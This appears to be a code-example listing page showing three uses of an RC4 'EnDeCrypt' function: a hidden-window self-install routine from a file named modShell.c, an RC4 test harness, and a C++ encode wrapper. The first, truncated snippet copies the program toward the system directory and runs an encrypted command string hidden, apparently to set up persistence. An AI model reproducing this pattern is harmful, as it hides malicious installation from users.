コード例 #1
0
ファイル: modShell.c プロジェクト: scovell/misc
void InstallMe(char *szInstallName)
{
     	 char szAppPath[MAX_PATH];
	 char szSystemPath[MAX_PATH];
	 char KeyValue[1024];
	 BOOL result;
	 STARTUPINFO sInfo;
  	 PROCESS_INFORMATION pInfo;

	 GetStartupInfo(&sInfo);
	 sInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	 sInfo.wShowWindow =SW_HIDE;

	 ZeroMemory(KeyValue,1024);
	 GetModuleFileName(GetModuleHandle(NULL),szAppPath,MAX_PATH);
	 GetSystemDirectory(szSystemPath,MAX_PATH);

	 strcat(szSystemPath,"\\");
	 strcat(szSystemPath,szInstallName);
	 strcat(szSystemPath,".exe");
	 
         pToFileCopy=(pFileCopy)GetProcAddress(GetModuleHandle("kernel32.dll"),"CopyFileA");
	 result=pToFileCopy("test.c","C:\\test2.c",1);
	 //CopyFile(szAppPath,szSystemPath,1);
	 strcat(KeyValue,EnDeCrypt(text,eKey));
         strcat(KeyValue," "); 
	 strcat(KeyValue,szSystemPath);
	 strcat(KeyValue," /F");
	 
	 CreateProcess(NULL,KeyValue,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&sInfo,&pInfo);
	       
コード例 #2
0
ファイル: rc4.c プロジェクト: ProfessorX/CIS612
/* Test harness for the EnDeCrypt function below.   */
int main()
{
    char buf[256], passwd[16], *pEncrypted, *pDecrypted, *pch;
    int ix, iLen;

    for (;;)
    {
        printf("\nString to encrypt (just Enter to exit): ");
        fgets(buf, sizeof(buf), stdin);
		for (ix = strlen(buf) - 1; (ix >= 0) && (buf[ix] == 10); ix--)
			buf[ix] = 0;
        if (!buf[0])
            break;
        printf("\nKey: ");
        fgets(passwd, sizeof(passwd), stdin);
		for (ix = strlen(passwd) - 1; (ix >= 0) && (passwd[ix] == 10); ix--)
			passwd[ix] = 0;
        if (!passwd[0])
            break;
		iLen = strlen(buf);
        pEncrypted = EnDeCrypt(buf, iLen, passwd);
        printf("\nEncrypted output:\n");
        for (pch = pEncrypted, ix=0; ix < iLen; pch++, ix++)
        {
            if (!(ix % 20))
                printf("\n");
            printf("%1X ", (unsigned char)*pch);
        }
        pDecrypted = EnDeCrypt(pEncrypted, iLen, passwd);
		pDecrypted[iLen] = 0;	/* Null-terminate */
        printf("\nDecrypted text: %s", pDecrypted);
        free(pEncrypted);
        free(pDecrypted);
    }
    return 0;
}
コード例 #3
0
ファイル: rc4.cpp プロジェクト: hanxin1987216/DTL
bool
RC4::encode(const char *src, const char* key, size_t srclen, char *dest)
{
	assert(src);
    if (src == 0)
        return false;
	
	//if (dest != NULL)
	//{
		//free (dest);
		//dest = NULL;
	//}
		
	EnDeCrypt (src, srclen, key, dest);
	return true;
}